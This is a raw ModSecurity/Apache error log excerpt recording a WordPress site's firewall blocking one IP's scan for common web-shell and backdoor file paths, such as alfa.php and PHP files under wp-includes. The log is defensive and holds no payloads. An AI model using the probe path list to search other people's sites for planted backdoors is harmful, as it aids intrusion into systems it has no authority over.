[Wed Jan 07 00:50:34.459976 2026] [:error] [pid 45959:tid 45962] [client 4.194.99.99:17329] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV09Wlajdn8P3hjgMYxEBwAAAUA"]
[Wed Jan 07 00:50:35.086854 2026] [:error] [pid 35140:tid 35149] [client 4.194.99.99:17264] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV09W3oQaIDFMbT-XMwSnAAAAQc"]
[Wed Jan 07 00:50:36.025931 2026] [:error] [pid 35140:tid 35163] [client 4.194.99.99:17172] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV09XHoQaIDFMbT-XMwSngAAARU"]
[Wed Jan 07 00:50:36.997618 2026] [:error] [pid 44905:tid 44988] [client 4.194.99.99:17393] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV09XLu7ufwWVst9EAstXgAAAJQ"]
[Wed Jan 07 00:50:37.350518 2026] [:error] [pid 44904:tid 44955] [client 4.194.99.99:17258] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV09XTtieuI1BJEZcvd2zwAAAE4"]
[Wed Jan 07 00:50:37.898310 2026] [:error] [pid 45959:tid 45986] [client 4.194.99.99:17194] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV09XVajdn8P3hjgMYxEDAAAAVg"]
[Wed Jan 07 00:50:38.280832 2026] [:error] [pid 45959:tid 45974] [client 4.194.99.99:17103] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aV09Xlajdn8P3hjgMYxEDgAAAUw"]
[Wed Jan 07 00:50:39.110804 2026] [:error] [pid 44903:tid 44917] [client 4.194.99.99:17168] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV09X9hHqjs38zbkQPBcBQAAAAo"]
[Wed Jan 07 00:50:39.875337 2026] [:error] [pid 44903:tid 44924] [client 4.194.99.99:17242] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV09X9hHqjs38zbkQPBcCAAAABE"]
[Wed Jan 07 00:50:40.486141 2026] [:error] [pid 44903:tid 44912] [client 4.194.99.99:17319] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV09YNhHqjs38zbkQPBcCQAAAAU"]
[Wed Jan 07 00:50:41.137921 2026] [:error] [pid 45959:tid 45967] [client 4.194.99.99:17261] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aV09YVajdn8P3hjgMYxEIQAAAUU"]
[Wed Jan 07 00:50:41.907492 2026] [:error] [pid 44903:tid 44921] [client 4.194.99.99:17245] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV09YdhHqjs38zbkQPBcDgAAAA4"]
[Wed Jan 07 00:50:42.470763 2026] [:error] [pid 44905:tid 44986] [client 4.194.99.99:17265] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV09Yru7ufwWVst9EAstYwAAAJI"]
[Wed Jan 07 00:50:43.218804 2026] [:error] [pid 45959:tid 45971] [client 4.194.99.99:17368] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV09Y1ajdn8P3hjgMYxEJgAAAUk"]
[Wed Jan 07 00:50:44.171089 2026] [:error] [pid 44903:tid 44933] [client 4.194.99.99:17227] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV09ZNhHqjs38zbkQPBcEAAAABg"]
[Wed Jan 07 00:50:45.688155 2026] [:error] [pid 35140:tid 35149] [client 4.194.99.99:17221] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV09ZXoQaIDFMbT-XMwSqwAAAQc"]
[Wed Jan 07 00:50:45.892239 2026] [:error] [pid 35140:tid 35163] [client 4.194.99.99:17312] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV09ZXoQaIDFMbT-XMwSrQAAARU"]
[Wed Jan 07 00:50:46.833282 2026] [:error] [pid 44905:tid 44988] [client 4.194.99.99:17093] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV09Zru7ufwWVst9EAstbAAAAJQ"]
[Wed Jan 07 00:50:47.805558 2026] [:error] [pid 35140:tid 35160] [client 4.194.99.99:17232] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aV09Z3oQaIDFMbT-XMwStgAAARI"]
[Wed Jan 07 00:50:49.001148 2026] [:error] [pid 45012:tid 45017] [client 4.194.99.99:17164] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aV09aBaMAxCuju1d0uZPtAAAAMM"]
[Wed Jan 07 00:50:49.367720 2026] [:error] [pid 44905:tid 44980] [client 4.194.99.99:17332] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aV09abu7ufwWVst9EAstcgAAAIw"]
[Wed Jan 07 00:50:55.471058 2026] [:error] [pid 45012:tid 45029] [client 4.194.99.99:17341] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV09bxaMAxCuju1d0uZP1gAAAM8"]
[Wed Jan 07 00:50:57.121576 2026] [:error] [pid 35140:tid 35156] [client 4.194.99.99:17104] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV09cXoQaIDFMbT-XMwSxAAAAQ4"]
[Wed Jan 07 00:50:58.537559 2026] [:error] [pid 35140:tid 35159] [client 4.194.99.99:17156] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV09cnoQaIDFMbT-XMwSxQAAARE"]
[Wed Jan 07 00:50:59.744846 2026] [:error] [pid 44904:tid 44964] [client 4.194.99.99:17212] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV09cztieuI1BJEZcvd26gAAAFc"]
[Wed Jan 07 00:51:00.872334 2026] [:error] [pid 44904:tid 44948] [client 4.194.99.99:17170] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aV09dDtieuI1BJEZcvd28AAAAEc"]
[Wed Jan 07 00:51:02.828209 2026] [:error] [pid 44904:tid 44957] [client 4.194.99.99:17253] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aV09djtieuI1BJEZcvd2-wAAAFA"]
[Wed Jan 07 00:51:04.142593 2026] [:error] [pid 45959:tid 45982] [client 4.194.99.99:17190] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aV09eFajdn8P3hjgMYxEPAAAAVQ"]
[Wed Jan 07 00:51:04.727779 2026] [:error] [pid 45959:tid 45981] [client 4.194.99.99:17088] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aV09eFajdn8P3hjgMYxEPgAAAVM"]
[Wed Jan 07 00:51:06.131734 2026] [:error] [pid 45959:tid 45963] [client 4.194.99.99:17198] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aV09elajdn8P3hjgMYxERwAAAUE"]
[Wed Jan 07 00:51:06.692299 2026] [:error] [pid 45012:tid 45022] [client 4.194.99.99:17356] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aV09ehaMAxCuju1d0uZP5wAAAMg"]
[Wed Jan 07 00:51:07.015564 2026] [:error] [pid 45012:tid 45017] [client 4.194.99.99:17239] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aV09exaMAxCuju1d0uZP6QAAAMM"]
[Wed Jan 07 00:51:07.890791 2026] [:error] [pid 44904:tid 44949] [client 4.194.99.99:17091] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aV09eztieuI1BJEZcvd3DgAAAEg"]
[Wed Jan 07 00:51:09.174915 2026] [:error] [pid 45012:tid 45035] [client 4.194.99.99:17154] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV09fRaMAxCuju1d0uZP8QAAANU"]
[Wed Jan 07 00:51:11.226500 2026] [:error] [pid 44903:tid 44908] [client 4.194.99.99:17111] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV09f9hHqjs38zbkQPBcKAAAAAE"]
[Wed Jan 07 00:51:12.673421 2026] [:error] [pid 45959:tid 45963] [client 4.194.99.99:17187] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV09gFajdn8P3hjgMYxEVAAAAUE"]
[Wed Jan 07 00:51:14.044627 2026] [:error] [pid 45959:tid 45978] [client 4.194.99.99:17100] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aV09glajdn8P3hjgMYxEWAAAAVA"]
[Wed Jan 07 00:51:14.952729 2026] [:error] [pid 45012:tid 45015] [client 4.194.99.99:17155] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aV09ghaMAxCuju1d0uZP-AAAAME"]
[Wed Jan 07 00:51:16.126903 2026] [:error] [pid 45012:tid 45021] [client 4.194.99.99:17184] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aV09hBaMAxCuju1d0uZP_wAAAMc"]
[Wed Jan 07 00:51:17.548742 2026] [:error] [pid 45959:tid 45981] [client 4.194.99.99:17149] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aV09hVajdn8P3hjgMYxEWgAAAVM"]
[Wed Jan 07 00:51:18.278404 2026] [:error] [pid 35140:tid 35153] [client 4.194.99.99:17204] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aV09hnoQaIDFMbT-XMwS1AAAAQs"]
[Wed Jan 07 00:51:20.165810 2026] [:error] [pid 45959:tid 45974] [client 4.194.99.99:17199] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aV09iFajdn8P3hjgMYxEYwAAAUw"]
[Wed Jan 07 00:51:21.534732 2026] [:error] [pid 45959:tid 45972] [client 4.194.99.99:17246] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aV09iVajdn8P3hjgMYxEaQAAAUo"]
[Wed Jan 07 00:51:22.259288 2026] [:error] [pid 45012:tid 45038] [client 4.194.99.99:17281] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV09ihaMAxCuju1d0uZQFAAAANg"]
[Wed Jan 07 00:51:23.250355 2026] [:error] [pid 44903:tid 44925] [client 4.194.99.99:17197] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV09i9hHqjs38zbkQPBcPwAAABI"]
[Wed Jan 07 00:51:23.550148 2026] [:error] [pid 35140:tid 35158] [client 4.194.99.99:17209] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV09i3oQaIDFMbT-XMwS3wAAARA"]
[Wed Jan 07 00:51:24.139021 2026] [:error] [pid 44903:tid 44908] [client 4.194.99.99:17207] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aV09jNhHqjs38zbkQPBcQgAAAAE"]
[Wed Jan 07 00:51:25.288520 2026] [:error] [pid 44904:tid 44963] [client 4.194.99.99:17178] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV09jTtieuI1BJEZcvd3MgAAAFY"]
[Wed Jan 07 00:51:26.279411 2026] [:error] [pid 44904:tid 44948] [client 4.194.99.99:17263] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV09jjtieuI1BJEZcvd3NAAAAEc"]
[Wed Jan 07 00:51:28.398528 2026] [:error] [pid 45012:tid 45027] [client 4.194.99.99:17186] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV09kBaMAxCuju1d0uZQGQAAAM0"]
[Wed Jan 07 00:51:31.122794 2026] [:error] [pid 35140:tid 35160] [client 4.194.99.99:17133] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aV09k3oQaIDFMbT-XMwS6wAAARI"]
[Wed Jan 07 00:51:33.342450 2026] [:error] [pid 44904:tid 44942] [client 4.194.99.99:17136] [client 4.194.99.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aV09lTtieuI1BJEZcvd3PwAAAEE"]
[Wed Jan 07 00:51:34.183517 2026] [:error] [pid 35140:tid 35166] [client 4.194.99.99:17191] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aV09lnoQaIDFMbT-XMwS8AAAARg"]
[Wed Jan 07 00:51:35.084808 2026] [:error] [pid 44904:tid 44963] [client 4.194.99.99:17201] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aV09lztieuI1BJEZcvd3QQAAAFY"]
[Wed Jan 07 00:51:36.158145 2026] [:error] [pid 45959:tid 45974] [client 4.194.99.99:17130] [client 4.194.99.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aV09mFajdn8P3hjgMYxEggAAAUw"]
